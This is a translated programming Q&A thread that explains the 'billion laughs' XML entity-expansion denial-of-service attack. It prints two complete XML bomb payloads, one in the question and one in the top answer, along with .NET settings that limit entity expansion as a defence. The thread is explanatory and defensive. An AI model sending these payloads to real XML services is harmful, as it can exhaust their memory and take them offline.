亿万笑如何嘲笑XML DoS攻击?

时间:2010-08-10 16:28:49

标签: xml

<!DOCTYPE root [
 <!ENTITY ha "Ha !">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 ...
 <!ENTITY ha128 "&ha127; &ha127;">
 ]>
 <root>&ha128;</root>
据说这被称为十亿笑DoS攻击。

有谁知道它是如何工作的?

3 个答案:

答案 0 :(得分:60)

Billion Laughs攻击是针对XML解析器的拒绝服务攻击。 Billion Laughs攻击也被称为XML炸弹,或更为神秘的指数实体扩展攻击。即使使用格式良好的XML也可能发生Billion Laughs攻击,并且还可以传递XML模式验证。

香草Billion Laughs攻击在下面的XML文件中说明。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

在此示例中,有10个不同的XML实体lol - lol9。第一个实体lol被定义为字符串“lol”。但是,每个其他实体都被定义为另一个实体的10个。此XML文件的文档内容部分仅包含对实体lol9的一个实例的引用。但是,当DOM或SAX解析器解析它时,遇到lol9时,它会扩展为10 lol8个,每个lol7 s扩展为10 lol个,并且等等等等。当所有内容都扩展到文本"lol"时,字符串lol有100,000,000个实例。如果还有一个实体,或者“lol”被定义为10个{{1}}的字符串,则会有一个十亿“lol”,因此就是攻击的名称。毋庸置疑,这许多扩展消耗了指数量的资源和时间,导致了DOS。

blog上有更广泛的解释。

答案 1 :(得分:21)

其中一个XML炸弹 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

  

攻击者现在可以利用XML的这三个属性(替换实体,嵌套实体和内联DTD)来制作恶意XML炸弹。攻击者使用嵌套实体编写一个XML文档,就像前面的例子一样,但是它不是只嵌套一个级别,而是将他的实体嵌套到很多层......

还有一些代码可以防止这些“炸弹”(在.NET世界中):

XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);

答案 2 :(得分:12)

<!ENTITY ha "Ha !">定义了一个扩展为&ha;的实体"Ha !"。下一行定义了另一个实体&ha2;,它扩展为"&ha; &ha;",最终扩展为"Ha ! Ha !"

&ha3;变为Ha ! Ha ! Ha ! Ha !,依此类推,每次都会加倍。如果您遵循该模式,则&haN;"Ha !",2 N-1 次,因此&ha128扩展为2 127 { {1}} s,对于任何计算机来说都太大了。